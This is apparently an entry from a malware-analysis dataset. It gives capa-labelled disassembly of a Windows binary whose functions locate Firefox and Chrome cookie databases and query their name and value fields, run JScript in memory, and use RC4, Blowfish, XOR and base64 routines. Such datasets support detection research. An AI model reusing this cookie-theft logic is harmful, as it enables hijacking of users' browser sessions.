joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42cb38
Capabilities:
Check if file exists
Gather firefox profile information
Reference sql statements

Disassembly:
mov eax, 0x4672be
call fcn.00452ab4
sub esp, 0x78
push ebx
push esi
push edi
xor ebx, ebx
push str.__test_FF_cookies
push ebx
mov dword [ebp - 0x14], ebx
call fcn.004418d2
pop ecx
pop ecx
push str._FFProfile_
lea ecx, [ebp - 0x4c]
call fcn.0041c1c2
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x30]
push eax
mov dword [ebp - 4], ebx
call fcn.00422b9f
pop ecx
pop ecx
xor esi, esi
push ebx
inc esi
push esi
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 2
call fcn.0041b413
cmp dword [ebp - 0x1c], ebx
mov edi, str.cookies.sqlite
je 0x42cbc4
push edi
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x68]
push eax
call fcn.00418a32
add esp, 0xc
cmp dword [eax + 0x18], 0x10
mov dword [ebp - 0x14], esi
jb 0x42cbb3
mov eax, dword [eax + 4]
jmp 0x42cbb6
add eax, 4
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
mov byte [ebp - 0xd], bl
jne 0x42cbc8
mov byte [ebp - 0xd], 1
test byte [ebp - 0x14], 1
je 0x42cbd8
push ebx
push esi
lea ecx, [ebp - 0x68]
call fcn.0041b413
cmp byte [ebp - 0xd], bl
je 0x42cbec
mov ecx, dword [ebp + 8]
push 0x472e5a
call fcn.0041c1c2
jmp 0x42cc3c
push str.SELECT_name__value_FROM_moz_cookies_WHERE_host_host_
lea ecx, [ebp - 0x68]
call fcn.0041c1c2
push edi
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x84]
push eax
mov byte [ebp - 4], 3
call fcn.00418a32
push dword [ebp + 0xc]
lea ecx, [ebp - 0x68]
push ecx
push eax
push dword [ebp + 8]
mov byte [ebp - 4], 4
call fcn.0042cd56
add esp, 0x1c
push ebx
push esi
lea ecx, [ebp - 0x84]
call fcn.0041b413
push ebx
push esi
lea ecx, [ebp - 0x68]
call fcn.0041b413
push ebx
lea ecx, [ebp - 0x30]
push esi
call fcn.0041b413
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x42cc58
Capabilities:
Check if file exists
Reference sql statements

Disassembly:
mov eax, 0x467291
call fcn.00452ab4
sub esp, 0x74
push ebx
push esi
push edi
xor esi, esi
push str.__test_GC_cookies
push esi
mov dword [ebp - 0x10], esi
call fcn.004418d2
pop ecx
pop ecx
mov edi, 0x472e5a
push edi
lea ecx, [ebp - 0x64]
call fcn.0041c1c2
push esi
lea eax, [ebp - 0x64]
push eax
push 0x1c
lea eax, [ebp - 0x48]
push 0x47b470
push eax
mov dword [ebp - 4], esi
call fcn.004224f1
add esp, 0x14
xor ebx, ebx
push esi
inc ebx
push ebx
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 2
call fcn.0041b413
cmp dword [ebp - 0x34], esi
jne 0x42ccc4
mov ecx, dword [ebp + 8]
push edi
call fcn.0041c1c2
jmp 0x42cd3a
push str.GoogleChromeUser_DataDefaultCookies
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.00418a32
add esp, 0xc
mov byte [ebp - 4], 3
cmp dword [ebp - 0x14], 0x10
mov eax, dword [ebp - 0x28]
jae 0x42cce9
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x42ccff
mov ecx, dword [ebp + 8]
push edi
call fcn.0041c1c2
jmp 0x42cd30
push str.SELECT_name__value_FROM_cookies_WHERE_host_key_host_
lea ecx, [ebp - 0x80]
call fcn.0041c1c2
push dword [ebp + 0xc]
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp + 8]
mov byte [ebp - 4], 4
call fcn.0042cd56
add esp, 0x10
push esi
push ebx
lea ecx, [ebp - 0x80]
call fcn.0041b413
push esi
lea ecx, [ebp - 0x2c]
push ebx
call fcn.0041b413
push esi
lea ecx, [ebp - 0x48]
push ebx
call fcn.0041b413
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x431aff
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1ec
push ebx
push edi
mov edi, 0x1e8
push edi
xor ebx, ebx
lea eax, [ebp - 0x1ec]
push ebx
push eax
call fcn.00450330
mov eax, dword [esi + 4]
add esp, 0xc
push 0x6b
push dword [0x4901d0]
mov dword [ebp - 0x1ec], edi
mov dword [ebp - 0x1e8], eax
mov dword [ebp - 0x1e4], 1
mov dword [ebp - 0x1e0], 7
mov dword [ebp - 0x1dc], 0x8004
call dword [sym.imp.USER32.dll_LoadIconA]
mov dword [ebp - 0x1d8], eax
push 0x80
lea eax, [ebp - 0x1d4]
push eax
push dword [esi + 4]
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x1ec]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
cmp dword [ebp + 8], ebx
mov edi, dword [sym.imp.USER32.dll_ShowWindow]
mov dword [ebp - 4], eax
je 0x431b9b
push 6
push dword [esi + 4]
call edi
cmp dword [ebp - 4], ebx
je 0x431ba6
push ebx
push dword [esi + 4]
call edi
mov eax, dword [ebp - 4]
pop edi
pop ebx
leave
ret 4

Function at 0x43387a
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x94
push edi
push 0x24
pop ecx
xor eax, eax
lea edi, [ebp - 0x18]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 0x1c], 0x94
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
test eax, eax
pop edi
je 0x4338bc
cmp dword [ebp - 0x18], 5
jae 0x4338b8
cmp dword [ebp - 0x18], 4
jne 0x4338bc
cmp dword [ebp - 0x14], 0x5a
jb 0x4338bc
xor eax, eax
jmp 0x4338bf
xor eax, eax
inc eax
add ebp, 0x78
leave
ret
Function at 0x43619a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx eax, word [esp + 4]
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_FindResourceA]
push 0xe
push eax
push dword [0x4901d0]
call edi
test eax, eax
je 0x4361c6
push eax
push dword [0x4901d0]
call dword [sym.imp.KERNEL32.DLL_LoadResource]
test eax, eax
jne 0x4361ca
xor eax, eax
jmp 0x436202
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_LockResource]
push eax
call ebx
test eax, eax
je 0x436201
movzx ecx, word [eax + 4]
xor edx, edx
test ecx, ecx
push esi
jle 0x4361fe
lea esi, [eax + 6]
movzx eax, byte [esi]
cmp eax, dword [esp + 0x14]
jne 0x4361f6
cmp word [esi + 6], 0x20
je 0x436206
inc edx
add esi, 0xe
cmp edx, ecx
jl 0x4361e6
xor eax, eax
pop esi
pop ebx
pop edi
ret 8
movzx eax, word [esi + 0xc]
push 3
push eax
push dword [0x4901d0]
call edi
test eax, eax
je 0x4361fe
push eax
push dword [0x4901d0]
call dword [sym.imp.KERNEL32.DLL_LoadResource]
test eax, eax
je 0x4361fe
push eax
call ebx
test eax, eax
je 0x4361fe
push 0
push dword [esp + 0x18]
push dword [esp + 0x1c]
push 0x30000
push 1
push dword [esi + 8]
push eax
call dword [sym.imp.USER32.dll_CreateIconFromResourceEx]
mov esi, eax
push esi
push str.__found_32bpp_icon_0x_p
push 0
call fcn.004418d2
add esp, 0xc
mov eax, esi
jmp 0x436200
Function at 0x4365b1
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
push edi
lea eax, [ebp - 0x28]
xor edi, edi
push eax
push dword [ebx + 4]
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], edi
call dword [sym.imp.USER32.dll_GetClientRect]
cmp dword [ebx + 0x48], edi
je 0x436623
push dword [ebp + 8]
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push dword [ebx + 0x48]
mov esi, eax
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x24]
push 0xcc0020
push edi
push edi
push esi
push eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x28]
push eax
push edi
push edi
push dword [ebp + 8]
call dword [sym.imp.GDI32.dll_BitBlt]
cmp esi, edi
je 0x4366f7
push esi
call dword [sym.imp.GDI32.dll_DeleteDC]
jmp 0x4366f7
push dword [ebx + 4]
call dword [sym.imp.USER32.dll_GetParent]
test eax, eax
jne 0x4366f7
mov eax, dword [ebp + 8]
push 0x1000000
lea ecx, [ebp - 0x28]
push ecx
push eax
mov dword [ebp - 0x18], eax
call dword [sym.imp.USER32.dll_FillRect]
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x14], 0x578
mov dword [ebp - 0x10], 0x4394
mov dword [ebp - 8], 0x23f0
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
add eax, ecx
cdq
push 0x64
pop ecx
idiv ecx
mov dword [ebp - 4], 0xffffff
lea esi, [ebp - 0x18]
mov byte [ebp - 4], al
movzx eax, byte [ebp - 3]
imul eax, edi
add eax, dword [ebp - 0x10]
cdq
idiv ecx
mov byte [ebp - 3], al
movzx eax, byte [ebp - 2]
imul eax, edi
add eax, dword [ebp - 0x14]
cdq
idiv ecx
mov edx, edi
mov ecx, edi
mov byte [ebp - 2], al
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x24]
push dword [ebp - 4]
push eax
xor eax, eax
call fcn.00436b1c
sub dword [ebp - 8], 0x5c
add dword [ebp - 0xc], 0xff
sub dword [ebp - 0x10], 0xad
sub dword [ebp - 0x14], 0xe
inc edi
cmp dword [ebp - 8], 0
jg 0x436662
push 0xead5c
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov esi, eax
push esi
lea eax, [ebp - 0x28]
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_FrameRect]
test esi, esi
je 0x4366f5
push esi
call dword [sym.imp.GDI32.dll_DeleteObject]
xor edi, edi
mov edx, dword [ebx + 0x4c]
cmp edx, edi
je 0x43672c
mov eax, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
push 3
push edi
push edi
push eax
push ecx
push edx
cdq
sub eax, edx
push 0x3c
pop edx
sar eax, 1
sub edx, eax
push edx
mov eax, ecx
cdq
push 0x3c
sub eax, edx
pop ecx
sar eax, 1
sub ecx, eax
push ecx
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_DrawIconEx]
mov edi, dword [ebp + 8]
lea eax, [ebx + 0x58]
push eax
mov ecx, ebx
call fcn.00436740
pop edi
pop esi
leave
ret 4
Function at 0x437550
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
xor ebx, ebx
push edi
mov dword [ebp - 8], ebx
call fcn.00437541
test al, al
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
je 0x4375c9
lea eax, [ebp - 4]
push eax
push 8
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4375c9
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea eax, [ebp - 0x18]
push eax
push 4
lea eax, [ebp - 0x14]
push eax
push 0x12
push dword [ebp - 4]
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x18], ebx
call esi
test eax, eax
je 0x4375c3
cmp dword [ebp - 0x14], 3
jne 0x4375c3
lea eax, [ebp - 0x18]
push eax
push 4
lea eax, [ebp - 8]
push eax
push 0x13
push dword [ebp - 4]
call esi
push dword [ebp - 4]
call edi
pop esi
lea eax, [ebp - 0xc]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x20]
push eax
mov byte [ebp - 0x20], bl
mov byte [ebp - 0x1f], bl
mov byte [ebp - 0x1e], bl
mov byte [ebp - 0x1d], bl
mov byte [ebp - 0x1c], bl
mov byte [ebp - 0x1b], 5
mov dword [ebp - 0xc], ebx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
cmp eax, ebx
mov dword [ebp - 0x10], eax
je 0x437622
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xc]
push dword [ebp - 8]
call sub.ADVAPI32.dll_CheckTokenMembership
test eax, eax
jne 0x437619
mov dword [ebp - 0x10], ebx
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [ebp - 8], ebx
je 0x43762c
push dword [ebp - 8]
call edi
xor eax, eax
cmp dword [ebp - 0x10], ebx
pop edi
setne al
pop ebx
leave
ret
Function at 0x43778f
Capabilities:
Encode data using base64

Disassembly:
mov eax, 0x463af2
call fcn.00452ab4
sub esp, 0x28
push ebx
push esi
push edi
xor esi, esi
mov ebx, ecx
push esi
lea ecx, [ebp - 0x34]
mov edi, edx
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x1c], 0xf
call fcn.0041acc8
cmp ebx, esi
mov dword [ebp - 4], esi
je 0x4378e9
mov dword [ebp - 0x18], ebx
mov al, byte [edi]
mov byte [ebp + esi - 0x10], al
mov bl, byte [ebp - 0xf]
inc esi
inc edi
cmp esi, 3
jne 0x43783c
mov al, byte [ebp - 0x10]
shr al, 2
mov byte [ebp - 0x14], al
mov al, byte [ebp - 0x10]
and al, 3
shl al, 4
mov cl, bl
shr cl, 4
add al, cl
mov cl, byte [ebp - 0xe]
mov byte [ebp - 0x13], al
mov al, bl
and al, 0xf
shl al, 2
shr cl, 6
add al, cl
mov byte [ebp - 0x12], al
mov al, byte [ebp - 0xe]
and al, 0x3f
mov byte [ebp - 0x11], al
xor esi, esi
cmp dword [0x4909e0], 0x10
mov eax, dword [0x4909cc]
jae 0x437820
mov eax, 0x4909cc
movzx ecx, byte [ebp + esi - 0x14]
movsx eax, byte [ecx + eax]
push eax
push 1
lea ecx, [ebp - 0x34]
call fcn.00437b00
inc esi
cmp esi, 4
jl 0x43780d
xor esi, esi
dec dword [ebp - 0x18]
jne 0x4377c6
test esi, esi
je 0x4378e9
cmp esi, 3
jge 0x43786a
push 3
pop ecx
sub ecx, esi
mov edx, ecx
shr ecx, 2
xor eax, eax
lea edi, [ebp + esi - 0x10]
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov bl, byte [ebp - 0xf]
mov al, byte [ebp - 0x10]
mov cl, al
shr cl, 2
mov byte [ebp - 0x14], cl
and al, 3
mov cl, bl
shl al, 4
shr cl, 4
add al, cl
mov byte [ebp - 0x13], al
mov al, byte [ebp - 0xe]
and bl, 0xf
mov cl, al
shl bl, 2
shr cl, 6
add bl, cl
mov byte [ebp - 0x12], bl
and al, 0x3f
lea edi, [esi + 1]
xor ebx, ebx
test edi, edi
mov byte [ebp - 0x11], al
jle 0x4378d1
cmp dword [0x4909e0], 0x10
mov eax, dword [0x4909cc]
jae 0x4378b8
mov eax, 0x4909cc
movzx ecx, byte [ebp + ebx - 0x14]
movsx eax, byte [ecx + eax]
push eax
push 1
lea ecx, [ebp - 0x34]
call fcn.00437b00
inc ebx
cmp ebx, edi
jl 0x4378a5
push 3
pop edi
cmp esi, edi
jge 0x4378e9
sub edi, esi
push 0x3d
push 1
lea ecx, [ebp - 0x34]
call fcn.00437b00
dec edi
jne 0x4378da
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x34]
push eax
call fcn.0041c33e
push 0
push 1
lea ecx, [ebp - 0x34]
call fcn.0041b413
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x43ff07
Capabilities:
Encrypt data using blowfish

Disassembly:
mov eax, 0x46403e
call fcn.00452ab4
sub esp, 0x74
cmp dword [ebp + 0xc], 1
mov eax, dword [ebp + 0x10]
push ebx
push esi
mov esi, ecx
mov ecx, dword [eax]
mov dword [esi], ecx
mov ecx, dword [eax + 4]
mov dword [esi + 4], ecx
mov ecx, dword [eax]
mov dword [esi + 8], ecx
mov eax, dword [eax + 4]
push edi
mov dword [esi + 0xc], eax
jae 0x43ff61
push str.Incorrect_key_length
lea ecx, [ebp - 0x48]
call fcn.0041c1c2
and dword [ebp - 4], 0
lea eax, [ebp - 0x48]
push eax
push 1
lea ecx, [ebp - 0x2c]
call fcn.0041c1e4
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.0041c220
push 0x38
pop eax
cmp dword [ebp + 0xc], eax
jbe 0x43ff6c
mov dword [ebp + 0xc], eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x80]
push dword [ebp + 8]
push eax
call fcn.0044fdf0
push 0x48
lea edi, [esi + 0x10]
push 0x47b7e0
push edi
call fcn.0044fdf0
push 0x1000
lea eax, [esi + 0x58]
push 0x47b828
push eax
call fcn.0044fdf0
add esp, 0x24
and dword [ebp + 0x10], 0
push 4
lea eax, [ebp - 0x80]
mov ecx, edi
mov dword [ebp - 0x14], 0x12
pop ebx
and dword [ebp + 8], 0
mov dword [ebp - 0x10], ebx
mov edx, dword [ebp + 8]
movzx ebx, byte [eax]
shl edx, 8
or edx, ebx
inc eax
inc dword [ebp + 0x10]
mov dword [ebp + 8], edx
mov edx, dword [ebp + 0x10]
cmp edx, dword [ebp + 0xc]
jne 0x43ffdc
and dword [ebp + 0x10], 0
lea eax, [ebp - 0x80]
dec dword [ebp - 0x10]
jne 0x43ffbb
mov edx, dword [ebp + 8]
xor dword [ecx], edx
push 4
pop ebx
add ecx, ebx
dec dword [ebp - 0x14]
jne 0x43ffb4
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp + 0xc], eax
lea eax, [ebp - 0x18]
push eax
call fcn.00440073
mov eax, dword [ebp - 0x18]
inc dword [ebp + 0xc]
mov dword [edi], eax
mov eax, dword [ebp - 0x14]
add edi, ebx
inc dword [ebp + 0xc]
mov dword [edi], eax
add edi, ebx
cmp dword [ebp + 0xc], 0x12
jb 0x43fffb
lea eax, [esi + 0x58]
mov dword [ebp + 0x10], eax
mov dword [ebp + 8], ebx
and dword [ebp + 0xc], 0
mov edi, dword [ebp + 0x10]
lea eax, [ebp - 0x18]
push eax
call fcn.00440073
mov eax, dword [ebp - 0x18]
inc dword [ebp + 0xc]
mov dword [edi], eax
mov eax, dword [ebp - 0x14]
add edi, ebx
inc dword [ebp + 0xc]
mov dword [edi], eax
add edi, ebx
cmp dword [ebp + 0xc], 0x100
jl 0x44002e
add dword [ebp + 0x10], 0x400
dec dword [ebp + 8]
jne 0x440027
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0xc
Function at 0x440306
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x464024
call fcn.00452ab4
sub esp, 0x40
mov eax, dword [ebp + 8]
push ebx
push esi
xor ebx, ebx
cmp eax, ebx
push edi
mov edi, ecx
mov esi, edx
je 0x440422
test al, 7
jne 0x440422
cmp dword [ebp + 0xc], 1
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
jne 0x440397
cmp eax, 8
mov ecx, dword [esi + 0xc]
mov ebx, dword [esi + 8]
mov dword [ebp - 0x18], ecx
jb 0x440386
shr eax, 3
mov dword [ebp + 0xc], eax
lea eax, [ebp - 0x14]
mov ecx, edi
call fcn.0044027d
mov eax, dword [ebp - 0x18]
xor dword [ebp - 0x10], eax
xor dword [ebp - 0x14], ebx
lea eax, [ebp - 0x14]
push eax
call fcn.00440073
mov eax, dword [ebp - 0x10]
mov ebx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
add edi, 8
mov eax, edi
lea ecx, [ebp - 0x14]
call fcn.004402d1
dec dword [ebp + 0xc]
jne 0x44034f
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 8
cmp dword [ebp + 0xc], 2
jne 0x4403f0
cmp eax, 8
mov ecx, dword [esi + 8]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [esi + 0xc]
mov dword [ebp - 0x18], ecx
jb 0x440386
shr eax, 3
mov ebx, eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00440073
lea eax, [ebp - 0x14]
mov ecx, edi
call fcn.0044027d
mov eax, dword [ebp - 0x14]
xor eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
xor ecx, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], ecx
add edi, 8
mov eax, edi
lea ecx, [ebp - 0x14]
call fcn.004402d1
dec ebx
jne 0x4403b3
jmp 0x440386
cmp eax, 8
jb 0x440386
shr eax, 3
mov ebx, eax
lea eax, [ebp - 0x14]
mov ecx, edi
call fcn.0044027d
lea eax, [ebp - 0x14]
push eax
call fcn.00440073
add edi, 8
mov eax, edi
lea ecx, [ebp - 0x14]
call fcn.004402d1
dec ebx
jne 0x4403fa
jmp 0x440386
push str.Incorrect_buffer_length
lea ecx, [ebp - 0x4c]
call fcn.0041c1c2
lea eax, [ebp - 0x4c]
push eax
push 1
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], ebx
call fcn.0041c1e4
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.0041c220
int3
Function at 0x44044c
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x46400a
call fcn.00452ab4
sub esp, 0x48
mov eax, dword [ebp + 8]
push ebx
push esi
xor ebx, ebx
cmp eax, ebx
push edi
mov edi, ecx
mov esi, edx
je 0x44057e
test al, 7
jne 0x44057e
cmp dword [ebp + 0xc], 1
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
jne 0x4404ec
cmp eax, 8
mov ecx, dword [esi + 8]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [esi + 0xc]
mov dword [ebp - 0x18], ecx
jb 0x4404db
shr eax, 3
mov dword [ebp + 0xc], eax
lea eax, [ebp - 0x14]
mov ecx, edi
call fcn.0044027d
mov eax, dword [ebp - 0x10]
mov ebx, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x14]
push eax
call fcn.00440178
mov eax, dword [ebp - 0x1c]
xor dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x18]
xor dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x18], eax
add edi, 8
mov eax, edi
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x1c], ebx
call fcn.004402d1
dec dword [ebp + 0xc]
jne 0x440498
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 8
cmp dword [ebp + 0xc], 2
jne 0x44054c
cmp eax, 8
mov ecx, dword [esi + 8]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [esi + 0xc]
mov dword [ebp - 0x18], ecx
jb 0x4404db
shr eax, 3
mov dword [ebp + 0xc], eax
lea eax, [ebp - 0x14]
mov ecx, edi
call fcn.0044027d
lea eax, [ebp - 0x1c]
push eax
call fcn.00440073
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
mov edx, eax
xor eax, dword [ebp - 0x1c]
mov ebx, ecx
xor ecx, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], ecx
add edi, 8
mov eax, edi
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], ebx
call fcn.004402d1
dec dword [ebp + 0xc]
jne 0x440509
jmp 0x4404db
cmp eax, 8
jb 0x4404db
shr eax, 3
mov ebx, eax
lea eax, [ebp - 0x14]
mov ecx, edi
call fcn.0044027d
lea eax, [ebp - 0x14]
push eax
call fcn.00440178
add edi, 8
mov eax, edi
lea ecx, [ebp - 0x14]
call fcn.004402d1
dec ebx
jne 0x440556
jmp 0x4404db
push str.Incorrect_buffer_length
lea ecx, [ebp - 0x54]
call fcn.0041c1c2
lea eax, [ebp - 0x54]
push eax
push 1
lea ecx, [ebp - 0x38]
mov dword [ebp - 4], ebx
call fcn.0041c1e4
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.0041c220
int3
Function at 0x4425df
Capabilities:
Execute vbscript javascript or jscript in memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push str.CScriptSiteObj::InitializeScriptFrame_50
push 0x4763d8
push 0
call fcn.004418d2
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push str.JScript
call dword [sym.imp.ole32.dll_CLSIDFromProgID]
test eax, eax
jge 0x442620
push eax
push str.__no_JScript_progid__hr0x_08x
push 1
call fcn.004418d2
add esp, 0xc
xor eax, eax
leave
ret
push esi
lea esi, [edi + 0x10]
push esi
push 0x46eb1c
push 1
push 0
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jge 0x442650
push eax
push str.__no_JScript_object__hr0x_08x
push 1
call fcn.004418d2
add esp, 0xc
xor eax, eax
jmp 0x4426bf
mov eax, dword [esi]
mov ecx, dword [eax]
push ebx
lea ebx, [edi + 0x14]
push ebx
push 0x46eb0c
push eax
call dword [ecx]
test eax, eax
jge 0x442679
push eax
push str.__no_parse_interface__hr0x_08x
push 1
call fcn.004418d2
add esp, 0xc
xor eax, eax
jmp 0x4426be
mov eax, dword [esi]
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + 0xc]
test eax, eax
jge 0x44268e
push eax
push str.__cant_set_site__hr0x_08x
jmp 0x44266b
mov ebx, dword [ebx]
mov eax, dword [ebx]
push ebx
call dword [eax + 0xc]
test eax, eax
jge 0x4426a2
push eax
push str.__cant_init_parser__hr0x_08x
jmp 0x44266b
cmp dword [edi + 0xc], 0
je 0x4426b1
mov ecx, dword [edi + 0xc]
push dword [esi]
mov eax, dword [ecx]
call dword [eax]
mov esi, dword [esi]
mov eax, dword [esi]
push 2
push esi
call dword [eax + 0x14]
xor eax, eax
inc eax
pop ebx
pop esi
leave
ret

Function at 0x449500
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x462af8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
xor eax, eax
push esi
mov esi, ecx
mov dword [esp + 0x28], 0xf
mov dword [esp + 0x24], eax
mov byte [esp + 0x14], al
mov ecx, dword [esp + 0x44]
mov edx, dword [ecx]
mov dword [esp + 4], edx
mov edx, dword [ecx + 4]
mov ecx, dword [ecx + 8]
push 0xffffffffffffffff
mov dword [esp + 0xc], edx
mov edx, dword [esp + 0x44]
push eax
mov dword [esp + 0x14], ecx
push edx
lea ecx, [esp + 0x1c]
mov dword [esp + 0x44], eax
call fcn.0041af25
mov eax, dword [esp + 0x48]
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
mov dword [esp + 0x30], eax
call fcn.00448eb0
cmp dword [esp + 0x28], 0x10
pop esi
jb 0x449584
mov edx, dword [esp + 0x10]
push edx
call fcn.0044fdde
add esp, 4
mov ecx, dword [esp + 0x2c]
xor al, al
mov dword fs:[0], ecx
add esp, 0x38
ret 0xc